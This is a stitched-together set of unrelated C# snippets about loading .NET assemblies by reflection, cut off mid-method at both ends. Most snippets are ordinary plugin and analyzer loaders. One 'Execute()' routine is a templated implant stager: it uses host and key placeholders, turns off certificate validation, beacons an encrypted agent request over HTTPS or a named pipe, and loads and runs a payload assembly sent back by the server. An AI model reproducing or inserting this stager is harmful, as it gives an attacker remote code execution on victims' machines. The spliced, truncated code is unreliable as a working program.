typeof(Microsoft.CodeAnalysis.AddMissingReference.AbstractAddMissingReferenceCodeFixProvider)) { continue; } var analyzerAttr = (DiagnosticAnalyzerAttribute)type.GetCustomAttributes(typeof(DiagnosticAnalyzerAttribute), false).FirstOrDefault(); if (analyzerAttr != null) { try { var analyzer = (DiagnosticAnalyzer)Activator.CreateInstance(type); if (analyzer.SupportedDiagnostics.Any(IsDiagnosticSupported)) { Analyzers.Add(new CodeDiagnosticDescriptor(analyzerAttr.Languages, type)); } } catch (Exception e) { LoggingService.LogError($"error while adding diagnostic analyzer {type} from assembly {asm.FullName}", e); } } var codeFixAttr = (ExportCodeFixProviderAttribute)type.GetCustomAttributes(typeof(ExportCodeFixProviderAttribute), false).FirstOrDefault(); if (codeFixAttr != null) { Fixes.Add(new CodeDiagnosticFixDescriptor(type, codeFixAttr)); } var exportAttr = type.GetCustomAttributes(typeof(ExportCodeRefactoringProviderAttribute), false).FirstOrDefault() as ExportCodeRefactoringProviderAttribute; if (exportAttr != null) { Refactorings.Add(new CodeRefactoringDescriptor(type, exportAttr)); } } } catch (ReflectionTypeLoadException ex) { foreach (var subException in ex.LoaderExceptions) { LoggingService.LogError("Error while loading diagnostics in " + asm.FullName, subException); } throw; } }
/// <summary> /// Loads OtterEditor Plugins /// </summary> private static void LoadPlugins() { List <Type> controlTypes = new List <Type>(); List <Type> layoutTypes = new List <Type>(); controlTypes.Add(typeof(Otter.UI.GUIButton)); controlTypes.Add(typeof(Otter.UI.GUISprite)); controlTypes.Add(typeof(Otter.UI.GUILabel)); controlTypes.Add(typeof(Otter.UI.GUITable)); controlTypes.Add(typeof(Otter.UI.GUIToggle)); controlTypes.Add(typeof(Otter.UI.GUISlider)); controlTypes.Add(typeof(Otter.UI.GUIMask)); controlTypes.Add(typeof(Otter.UI.GUIGroup)); layoutTypes.Add(typeof(Otter.UI.ControlLayout)); layoutTypes.Add(typeof(Otter.UI.ButtonLayout)); layoutTypes.Add(typeof(Otter.UI.SpriteLayout)); layoutTypes.Add(typeof(Otter.UI.LabelLayout)); layoutTypes.Add(typeof(Otter.UI.TableLayout)); layoutTypes.Add(typeof(Otter.UI.ToggleLayout)); layoutTypes.Add(typeof(Otter.UI.SliderLayout)); layoutTypes.Add(typeof(Otter.UI.MaskLayout)); layoutTypes.Add(typeof(Otter.UI.GroupLayout)); try { // Let's see if we can find plugins string[] files = System.IO.Directory.GetFiles(Application.StartupPath + "\\Plugins"); foreach (string file in files) { try { System.Console.WriteLine("File: " + file); System.Reflection.Assembly assembly = System.Reflection.Assembly.LoadFile(file); Type[] types = assembly.GetTypes(); foreach (Type type in types) { if (type.IsSubclassOf(typeof(IPlugin))) { PluginAttribute attribute = (PluginAttribute)System.Attribute.GetCustomAttribute(type, typeof(PluginAttribute)); if (attribute != null) { Globals.Plugins.Add(type); } } else if (!controlTypes.Contains(type) && type.IsSubclassOf(typeof(Otter.UI.GUIControl))) { // Found a custom GUIControl. Ensure that the "ControlAttribute" is present System.Attribute attribute = System.Attribute.GetCustomAttribute(type, typeof(ControlAttribute)); if (attribute != null) { Globals.CustomControlTypes.Add(type); controlTypes.Add(type); } } else if (!layoutTypes.Contains(type) && type.IsSubclassOf(typeof(Otter.UI.ControlLayout))) { layoutTypes.Add(type); } } } catch (Exception) { } } } catch (Exception) { } // TODO - Attempt to serialize/deserialize each type before // it's added to the controls list. If it fails, don't add it. XmlAttributes controlAttrs = new XmlAttributes(); foreach (Type type in controlTypes) { controlAttrs.XmlArrayItems.Add(new XmlArrayItemAttribute(type)); } GUIProject.XmlAttributeOverrides.Add(typeof(Otter.UI.GUIControl), "Controls", controlAttrs); XmlAttributes layoutAttrs = new XmlAttributes(); foreach (Type type in layoutTypes) { layoutAttrs.XmlElements.Add(new XmlElementAttribute(type)); } GUIProject.XmlAttributeOverrides.Add(typeof(Otter.UI.GUIControl), "Layout", layoutAttrs); GUIProject.XmlAttributeOverrides.Add(typeof(Otter.UI.Animation.KeyFrame), "Layout", layoutAttrs); }
public object Execute(string pMethod, object[] pArgumentList) { object result = null; if (_assembly == null) { _assembly = System.Reflection.Assembly.Load(_filePath); } if (classInstance == null) { foreach (Type type in _assembly.GetTypes()) { if (type.IsPublic && type.IsClass && type.Name.Equals(_class, StringComparison.OrdinalIgnoreCase)) { if (type.IsAbstract) { MethodInfo methodInfo = type.GetMethod(pMethod, System.Reflection.BindingFlags.Static | BindingFlags.Public); if (methodInfo.IsGenericMethod) { // Binding the method info to generic arguments Type[] genericArguments = new Type[] { type }; MethodInfo genericMethodInfo = methodInfo.MakeGenericMethod(genericArguments); // Simply invoking the method and passing parameters // The null parameter is the object to call the method from. Since the method is // static, pass null. ParameterInfo[] parameters = methodInfo.GetParameters(); if (parameters.Length == pArgumentList.Length) { for (int i = 0; i < parameters.Length; i++) { if (pArgumentList[i] != null) { if (parameters[i].ParameterType != pArgumentList[i].GetType()) { pArgumentList[i] = System.Convert.ChangeType(pArgumentList[i], parameters[i].ParameterType); } } } result = genericMethodInfo.Invoke(null, pArgumentList); } } else { ParameterInfo[] parameters = methodInfo.GetParameters(); if (parameters.Length == pArgumentList.Length) { for (int i = 0; i < parameters.Length; i++) { if (pArgumentList[i] != null) { if (parameters[i].ParameterType != pArgumentList[i].GetType()) { pArgumentList[i] = System.Convert.ChangeType(pArgumentList[i], parameters[i].ParameterType); } } } result = methodInfo.Invoke(null, pArgumentList); } } } else { classInstance = Activator.CreateInstance(type); } break; } } } else { MethodInfo[] mi = classInstance.GetType().GetMethods(); foreach (MethodInfo m in mi) { if (m.Name.Equals(pMethod, StringComparison.OrdinalIgnoreCase)) { ParameterInfo[] parameters = m.GetParameters(); if (parameters.Length == pArgumentList.Length) { for (int i = 0; i < parameters.Length; i++) { if (pArgumentList[i] != null) { if (parameters[i].ParameterType != pArgumentList[i].GetType()) { pArgumentList[i] = System.Convert.ChangeType(pArgumentList[i], parameters[i].ParameterType); } } } result = m.Invoke(classInstance, pArgumentList); } } } } return(result); }
private DataTable getFunctionList(AssemblyCollection assColl) { Context.TraceEvent(100, 0, "ListFunctions: Starting"); // build the structure for the datatable which is returned DataTable dtFuncs = new DataTable("dtFunctions"); dtFuncs.Columns.Add("Assembly", typeof(String)); dtFuncs.Columns.Add("Class", typeof(String)); dtFuncs.Columns.Add("Method", typeof(String)); dtFuncs.Columns.Add("ReturnType", typeof(String)); dtFuncs.Columns.Add("Parameters", typeof(String)); if (Context.ExecuteForPrepare) { // we can exit after building the table function if this is only // being executed for a prepare. Context.TraceEvent(100, 0, "ListFunctions: Finished (ExecuteForPrepare)"); return(dtFuncs); } foreach (Microsoft.AnalysisServices.Assembly ass in assColl) { Context.CheckCancelled(); if (ass is ClrAssembly) // we can only use reflection against .Net assemblies { Type t = ass.GetType(); ClrAssembly clrAss = (ClrAssembly)ass; Context.TraceEvent(100, 0, "ListFunctions: Processing the " + clrAss.Name + " Assembly"); foreach (ClrAssemblyFile f in clrAss.Files) // an assembly can have multiple files { Context.CheckCancelled(); // We only want to get the "main" asembly file and only files which have data // (Some of the system assemblies appear to be registrations only and do not // have any data. if (f.Data.Count > 0 && f.Type == ClrAssemblyFileType.Main) { // assembly the assembly back into a single byte from the blocks of base64 strings byte[] rawAss = new byte[0]; int iPos = 0; byte[] buff = new byte[0]; foreach (string block in f.Data) { Context.CheckCancelled(); buff = System.Convert.FromBase64String(block); System.Array.Resize(ref rawAss, rawAss.Length + buff.Length); buff.CopyTo(rawAss, iPos); iPos += buff.Length; } // use reflection to extract the public types and methods from the // re-assembled assembly. Context.TraceEvent(100, 0, "ListFunctions: Starting reflection against " + f.Name); System.Reflection.Assembly asAss = System.Reflection.Assembly.Load(rawAss); Type[] assTypes = asAss.GetTypes(); for (int i = 0; i < assTypes.Length; i++) { Type t2 = assTypes[i]; if (t2.IsPublic) { MethodInfo[] methods; methods = t2.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Public | BindingFlags.Static | BindingFlags.Instance); int paramCnt = 0; foreach (MethodInfo meth in methods) { Context.CheckCancelled(); // build the parameter signature as a string ParameterInfo[] Params = meth.GetParameters(); System.Text.StringBuilder paramList = new System.Text.StringBuilder(); paramCnt = Params.Length; string[] paramArray = new string[paramCnt]; // add the first parameter if (paramCnt > 0) { paramList.Append(Params[0].Name); paramList.Append(" as "); paramList.Append(StripNamespace(Params[0].ParameterType.ToString())); } // add subsequent parameters, inserting a comma before each new one. for (int j = 1; j < paramCnt; j++) { paramList.Append(", "); paramList.Append(Params[j].Name); paramList.Append(" as "); paramList.Append(StripNamespace(Params[j].ParameterType.ToString())); } DataRow rowFunc = dtFuncs.NewRow(); Object[] items = new Object[5]; items[0] = ass.Name; items[1] = t2.Name; items[2] = meth.Name; items[3] = StripNamespace(meth.ReturnType.ToString()); items[4] = paramList.ToString(); rowFunc.ItemArray = items; dtFuncs.Rows.Add(rowFunc); rowFunc.AcceptChanges(); } // foreach meth } // if t2.IsPublic } // assTypes.Length Context.TraceEvent(100, 0, "ListFunctions: Finished reflecting against " + f.Name); } // if f.data.count > 0 && f.Type == main } // foreach f } // if ass is clrAssembly } // foreach ass dtFuncs.AcceptChanges(); Context.TraceEvent(100, dtFuncs.Rows.Count, "ListFunctions: Finished (" + dtFuncs.Rows.Count.ToString() + " function signatures)"); return(dtFuncs); }
/// <summary> /// Enumerates files in current directory and finds tests. /// </summary> /// <returns>List of tests loaded.</returns> public List <TestInfo> LoadTests() { _testInfos = new List <TestInfo>(); _onvifProfiles = new List <IProfileDefinition>(); _controls = new Dictionary <Guid, SettingsTabPage>(); _settingsTypes = new List <Type>(); Dictionary <Type, Type> controls = new Dictionary <Type, Type>(); string location = Assembly.GetExecutingAssembly().Location; string path = Path.GetDirectoryName(location); foreach (string file in Directory.GetFiles(path, "*.dll")) { try { System.Reflection.Assembly assembly = Assembly.LoadFile(file); if (assembly.GetCustomAttributes( typeof(TestAssemblyAttribute), false).Length > 0) { // Test assembly foreach (Type t in assembly.GetTypes()) { object[] attrs = t.GetCustomAttributes(typeof(TestClassAttribute), true); if (attrs.Length > 0) { LoadTests(t); } attrs = t.GetCustomAttributes(typeof(ProfileDefinitionAttribute), true); if (attrs.Length > 0) { LoadProfile(t); } attrs = t.GetCustomAttributes(typeof(SettingsControlAttribute), true); if (attrs.Length > 0) { SettingsControlAttribute attr = (SettingsControlAttribute)attrs[0]; if (!controls.ContainsKey(attr.ParametersType)) { controls.Add(attr.ParametersType, t); } } } } } catch (Exception exc) { } } foreach (Type type in _settingsTypes) { Type ctrlType = controls[type]; object ctrl = Activator.CreateInstance(ctrlType); SettingsTabPage ctl = (SettingsTabPage)ctrl; ctl.Dock = DockStyle.Fill; _controls.Add(type.GUID, (SettingsTabPage)ctrl); } if (SettingPagesLoaded != null) { SettingPagesLoaded(_controls.Values.ToList()); } View.DisplayTests(_testInfos); View.DisplayProfiles(_onvifProfiles.OrderBy(P => P.Name)); if (TestsLoaded != null) { TestsLoaded(_testInfos); } return(_testInfos); }
public static void Execute() { string[] pageget = { #PAGEGET # }; string[] pagepost = { #PAGEPOST # }; string param = "#PARAM#"; string serverkey = "#SERVERKEY#"; string host = "#HOST#"; string namedpipe = "#PIPENAME#"; int port = 0; int targetframework = 40; Int32.TryParse("#PORT#", out port); Int32.TryParse("#FRAMEWORK#", out targetframework); Thread.Sleep(10000); AgentIdReqMsg agentIdReqMsg = new AgentIdReqMsg(); agentIdReqMsg.address = host; agentIdReqMsg.port = port; agentIdReqMsg.request = "agentid"; agentIdReqMsg.framework = targetframework; string agentidrequesttemplate = new JavaScriptSerializer().Serialize(agentIdReqMsg); bool agentexit = false; while (true && !agentexit) { try { string resp = ""; string cookievalue = ""; NamedPipeClientStream pipe = null; if (string.IsNullOrEmpty(namedpipe)) { CookiedWebClient wc = new CookiedWebClient(); wc.UseDefaultCredentials = true; wc.Proxy = WebRequest.DefaultWebProxy; wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; WebHeaderCollection webHeaderCollection = new WebHeaderCollection(); webHeaderCollection.Add(HttpRequestHeader.UserAgent, "#USERAGENT#"); #HEADERS # wc.Headers = webHeaderCollection; ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; ServicePointManager.DefaultConnectionLimit = 9999; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return(true); }); string post = String.Format("{0}={1}", param, EncryptMessage(serverkey, agentidrequesttemplate)); string rpaddress = String.Format("https://{0}:{1}/{2}", host, port, pagepost[new Random().Next(pagepost.Length)], post); resp = wc.UploadString(rpaddress, post); Cookie cookie = wc.ResponseCookies["sessionid"]; cookievalue = cookie.Value; } else { try { pipe = new NamedPipeClientStream(host, namedpipe, PipeDirection.InOut, PipeOptions.Asynchronous); pipe.Connect(5000); pipe.ReadMode = PipeTransmissionMode.Message; //Write AgentIdReqMsg var agentIdrequest = EncryptMessage(serverkey, agentidrequesttemplate); pipe.Write(Encoding.Default.GetBytes(agentIdrequest), 0, agentIdrequest.Length); var messageBytes = ReadMessage(pipe); resp = Encoding.UTF8.GetString(messageBytes); } catch (Exception) { } } var line = DecryptMessage(serverkey, resp); AgentIdMsg agentIdMsg = new JavaScriptSerializer().Deserialize <AgentIdMsg>(line); object[] agrsstage = new object[] { line, cookievalue, pipe }; System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(getPayload(agentIdMsg.stage)); assembly.GetTypes()[0].GetMethods()[0].Invoke(null, agrsstage); }
public Type LoadObjectTypeFromAssembly(string layoutFilename, string layoutNameSpace, string classNameToLoad, string friendlyName = "") { Type typeToLoad = default; FileInfo layoutFile; try { layoutFile = new FileInfo(enVars.libraryPath + layoutFilename); layoutFile.Refresh(); if (!layoutFile.Exists) { errorMessage = "Layout file not found. You need to reinstall the program"; return(null); } } catch (Exception ex) { errorMessage = "Error Layout file (" + ex.Message.ToString() + "). You need to reinstall the program"; return(null); } if (friendlyName.Equals("")) { friendlyName = classNameToLoad; } try { System.Reflection.Assembly assemblyRaw = System.Reflection.Assembly.LoadFrom(enVars.libraryPath + layoutFilename); context.Add(friendlyName, new CollectibleAssemblyLoadContext()); System.Reflection.Assembly assembly = context[friendlyName].LoadFromAssemblyPath(enVars.libraryPath + layoutFilename); // check if assembly has assemblies to load Type typeMainLayoutIni = assembly.GetType(layoutNameSpace + ".initializeAssembly"); if (typeMainLayoutIni != null) { Object iniClass = Activator.CreateInstance(typeMainLayoutIni, true); MethodInfo methodInfo = typeMainLayoutIni.GetMethod("AssembliesToLoadAtStart"); if (methodInfo != null) { Dictionary <string, Environment.Core.environmentAssembliesClass> assembliesOn = (Dictionary <string, Environment.Core.environmentAssembliesClass>)methodInfo.Invoke(iniClass, default); getAssemblies = enVarsAssemblies.Union(assembliesOn.Where(k => !enVarsAssemblies.ContainsKey(k.Key))).ToDictionary(k => k.Key, v => v.Value); } } string t = ""; foreach (Type type in assembly.GetTypes()) { t += type.FullName + " >> "; } typeToLoad = assembly.GetType(layoutNameSpace + "." + classNameToLoad); if (typeToLoad is null) { errorMessage = "Class not found or invalid namespace"; } } catch (Exception ex) { errorMessage = ex.Message; return(null); } return(typeToLoad); }
internal void AddAssembly(System.Reflection.Assembly asm, bool force = false) { //FIXME; this is a really hacky arbitrary heuristic //we should be using proper MEF composition APIs as part of the addin scan if (!force) { var assemblyName = asm.GetName().Name; switch (assemblyName) { //whitelist case "RefactoringEssentials": case "Refactoring Essentials": case "Microsoft.CodeAnalysis.Features": case "Microsoft.CodeAnalysis.VisualBasic.Features": case "Microsoft.CodeAnalysis.CSharp.Features": break; //blacklist case "FSharpBinding": return; //addin assemblies that reference roslyn default: var refAsm = asm.GetReferencedAssemblies(); if (refAsm.Any(a => a.Name == diagnosticAnalyzerAssembly) && refAsm.Any(a => a.Name == "MonoDevelop.Ide")) { break; } return; } } try { foreach (var type in asm.GetTypes()) { var notPortedYetAttribute = (NotPortedYetAttribute)type.GetCustomAttributes(typeof(NotPortedYetAttribute), false).FirstOrDefault(); if (notPortedYetAttribute != null) { continue; } //HACK: Workaround missing IChangeSignatureOptionsService and IExtractInterfaceOptionsService services in VSfM //https://bugzilla.xamarin.com/show_bug.cgi?id=53771 if (type == typeof(Microsoft.CodeAnalysis.ChangeSignature.ChangeSignatureCodeAction) || type == typeof(Microsoft.CodeAnalysis.ExtractInterface.ExtractInterfaceCodeAction)) { continue; } var analyzerAttr = (DiagnosticAnalyzerAttribute)type.GetCustomAttributes(typeof(DiagnosticAnalyzerAttribute), false).FirstOrDefault(); if (analyzerAttr != null) { try { var analyzer = (DiagnosticAnalyzer)Activator.CreateInstance(type); if (analyzer.SupportedDiagnostics.Any(IsDiagnosticSupported)) { Analyzers.Add(new CodeDiagnosticDescriptor(analyzerAttr.Languages, type)); } foreach (var diag in analyzer.SupportedDiagnostics) { //filter out E&C analyzers as we don't support E&C if (diag.CustomTags.Contains(WellKnownDiagnosticTags.EditAndContinue)) { continue; } } } catch (Exception e) { LoggingService.LogError($"error while adding diagnostic analyzer {type} from assembly {asm.FullName}", e); } } var codeFixAttr = (ExportCodeFixProviderAttribute)type.GetCustomAttributes(typeof(ExportCodeFixProviderAttribute), false).FirstOrDefault(); if (codeFixAttr != null) { Fixes.Add(new CodeDiagnosticFixDescriptor(type, codeFixAttr)); } var exportAttr = type.GetCustomAttributes(typeof(ExportCodeRefactoringProviderAttribute), false).FirstOrDefault() as ExportCodeRefactoringProviderAttribute; if (exportAttr != null) { Refactorings.Add(new CodeRefactoringDescriptor(type, exportAttr)); } } } catch (ReflectionTypeLoadException ex) { foreach (var subException in ex.LoaderExceptions) { LoggingService.LogError("Error while loading diagnostics in " + asm.FullName, subException); } throw; } }
/// <summary> /// Enumerates files in current directory and finds tests. /// </summary> /// <returns>List of tests loaded.</returns> public List <TestInfo> LoadTests() { // initialize lists _testInfos = new List <TestInfo>(); _onvifProfiles = new List <IProfileDefinition>(); _controls = new Dictionary <Guid, SettingsTabPage>(); _settingsTypes = new List <Type>(); Dictionary <Type, Type> controls = new Dictionary <Type, Type>(); string location = Assembly.GetExecutingAssembly().Location; string path = Path.GetDirectoryName(location); // enumerate files foreach (string file in Directory.GetFiles(path, "*.dll")) { try { System.Reflection.Assembly assembly = Assembly.LoadFile(file); // check if this is a test assembly if (assembly.GetCustomAttributes( typeof(TestAssemblyAttribute), false).Length > 0) { // Test assembly // enumerate types foreach (Type t in assembly.GetTypes()) { // Load tests, if this is a test class object[] attrs = t.GetCustomAttributes(typeof(TestClassAttribute), true); if (attrs.Length > 0) { LoadTests(t); } // Load profiles, if this is sa profile attrs = t.GetCustomAttributes(typeof(ProfileDefinitionAttribute), true); if (attrs.Length > 0) { LoadProfile(t); } // Load settings controls, if this is a settings control attrs = t.GetCustomAttributes(typeof(SettingsControlAttribute), true); if (attrs.Length > 0) { SettingsControlAttribute attr = (SettingsControlAttribute)attrs[0]; // use only one control for each type. if (!controls.ContainsKey(attr.ParametersType)) { controls.Add(attr.ParametersType, t); } } } } } catch (Exception exc) { } } // create only necessary settings controls foreach (Type type in _settingsTypes) { Type ctrlType = controls[type]; object ctrl = Activator.CreateInstance(ctrlType); SettingsTabPage ctl = (SettingsTabPage)ctrl; ctl.Dock = DockStyle.Fill; _controls.Add(type.GUID, (SettingsTabPage)ctrl); } // notify that settings control are loaded if (SettingPagesLoaded != null) { SettingPagesLoaded(_controls.Values.ToList()); } // Display tests if (View.TestTreeView != null) { View.TestTreeView.DisplayTests(_testInfos); } // Display profiles if (View.ProfilesView != null) { View.ProfilesView.DisplayProfiles(_onvifProfiles.OrderBy(P => P.GetProfileName())); } return(_testInfos); }
private static Type GetType(Assembly assembly, string typeName) { return(assembly.GetTypes().FirstOrDefault(t => t.Name == typeName)); }
public int Load(System.Reflection.Assembly assembly) { int count = 0; foreach (var t in assembly.GetTypes()) { if (t.GetInterface("IAgentRequestingHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IAgentRequestingHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); AgentRequestingHandler.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] agent requesting handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetAgentRequesting(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.SetAgentRequesting(handler.Name); } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} agent requesting handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IHeaderWritingHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IHeaderWritingHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); HeaderWritingHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] header writing handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetHeaderWriting(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.SetHeaderWriting(handler.Name); } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} header writing handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IResponseErrorHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IResponseErrorHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); ResponseErrorHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] response error handler success"); mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} response error handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IRequestingHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IRequestingHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); RequestingHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] requesting handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetRequesting(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.SetRequesting(handler.Name); } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} requesting handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IRespondingHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IRespondingHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); RespondingHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] responding handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetResponding(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.SetResponding(handler.Name); } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} responding handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IRequestedHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IRequestedHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); RequestedHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] requested handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetRequested(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.SetRequested(handler.Name); } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} requested handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IGetServerHandler") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IGetServerHandler)Activator.CreateInstance(t); handler.Init(Gateway, assembly); GetServerHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.Name}[{assembly.GetName().Version}] route get server handler success"); RouteBinderAttribute routeBinderAttribute = t.GetCustomAttribute <RouteBinderAttribute>(false); if (routeBinderAttribute != null) { if (string.IsNullOrEmpty(routeBinderAttribute.RouteUrl)) { Gateway.Pluginer.SetRequested(handler.Name); } else { var route = Gateway.Routes.NewOrGet(routeBinderAttribute.RouteUrl, null, null, routeBinderAttribute.ApiLoader); route.Pluginer.GetServerHandler = handler; } } mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} route get server handler error {e_.Message} {e_.StackTrace}"); } } if (t.GetInterface("IGatewayLoader") != null && !t.IsAbstract && t.IsClass) { try { count++; var handler = (IGatewayLoader)Activator.CreateInstance(t); handler.Init(Gateway, assembly); LoaderHandlers.Add(handler); Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Info, $"gateway load {t.GetType()}[{assembly.GetName().Version}] gateway loader handler success"); mPlugins[handler.Name] = handler; InitPluginEnabled(handler); LoadSetting(handler); SaveSetting(handler, false); } catch (Exception e_) { Gateway.HttpServer.Log(BeetleX.EventArgs.LogType.Error, $"gateway load {t.GetType()} gateway loader handler error {e_.Message} {e_.StackTrace}"); } } } return(count); }
public object GetAccessObject() { // Type reference to back-end interface Type oInterface = this.tInterface; string cServiceName = this.cServiceName; // object reference to web service (if used) SoapHttpClientProtocol ows = this.wService; // Generic back-end object (will be cast to interface) object oAccessObject = new object(); switch (this.nConnectionType) { case ConnectionTypeOptions.TcpRemoting: // TCP remoting....must create new TCP channel, and then activate // remote object proxy through the channel IChannel[] myIChannelArray = ChannelServices.RegisteredChannels; if (myIChannelArray.Length == 0) { ChannelServices.RegisterChannel(new TcpClientChannel()); } // activate back-end object oAccessObject = Activator.GetObject(oInterface, this.cTcpServer.ToString().Trim() + ":" + this.nTCPPort.ToString().Trim() + "/" + cBzPrefix + cServiceName); break; case ConnectionTypeOptions.WebServices: // set URL of instantiated web service object ows.Url = this.cWebServiceURL.ToString() + "/" + cWSPrefix + cServiceName + ".asmx"; ows.Credentials = System.Net.CredentialCache.DefaultCredentials; oAccessObject = ows; break; case ConnectionTypeOptions.LocalAccess: // Local access - use Reflection to load DLL System.Reflection.Assembly oDLL = System.Reflection.Assembly.LoadFrom(cServiceName + ".DLL"); // Get type reference to class/namespace, create instance Type[] tType = oDLL.GetTypes(); foreach (Type info in tType) { if (info.Name == _reportName) { oAccessObject = Activator.CreateInstance(info); break; } } break; } return(oAccessObject); }
/// <summary> /// 加载自定义标签 /// </summary> /// <param name="BusinessDll">Dll路径</param> /// <param name="cache">存入缓存</param> public static void LoadAttribute(List <Assembly> BusinessDll, ICacheManager cache, string pluginName) { string cacheKey = pluginName + "@" + GetCacheKey(); List <EntityAttributeInfo> entityAttributeList = new List <EntityAttributeInfo>(); for (int k = 0; k < BusinessDll.Count; k++) { System.Reflection.Assembly assembly = BusinessDll[k]; //System.Reflection.Assembly.LoadFrom(BusinessDll[k]); Type[] types = assembly.GetTypes(); for (int i = 0; i < types.Length; i++) { TableAttribute[] tableAttrs = ((TableAttribute[])types[i].GetCustomAttributes(typeof(TableAttribute), true)); if (tableAttrs.Length > 0) { EntityAttributeInfo eattr = new EntityAttributeInfo(); eattr.ObjType = types[i]; eattr.TableAttributeInfoList = new List <TableAttributeInfo>(); foreach (TableAttribute val in tableAttrs) { TableAttributeInfo tableattr = new TableAttributeInfo(); tableattr.Alias = val.Alias; tableattr.EType = val.EntityType; tableattr.TableName = val.TableName; tableattr.IsGB = val.IsGB; tableattr.ColumnAttributeInfoList = new List <ColumnAttributeInfo>(); PropertyInfo[] property = eattr.ObjType.GetProperties(); for (int n = 0; n < property.Length; n++) { ColumnAttribute[] columnAttributes = (ColumnAttribute[])property[n].GetCustomAttributes(typeof(ColumnAttribute), true); if 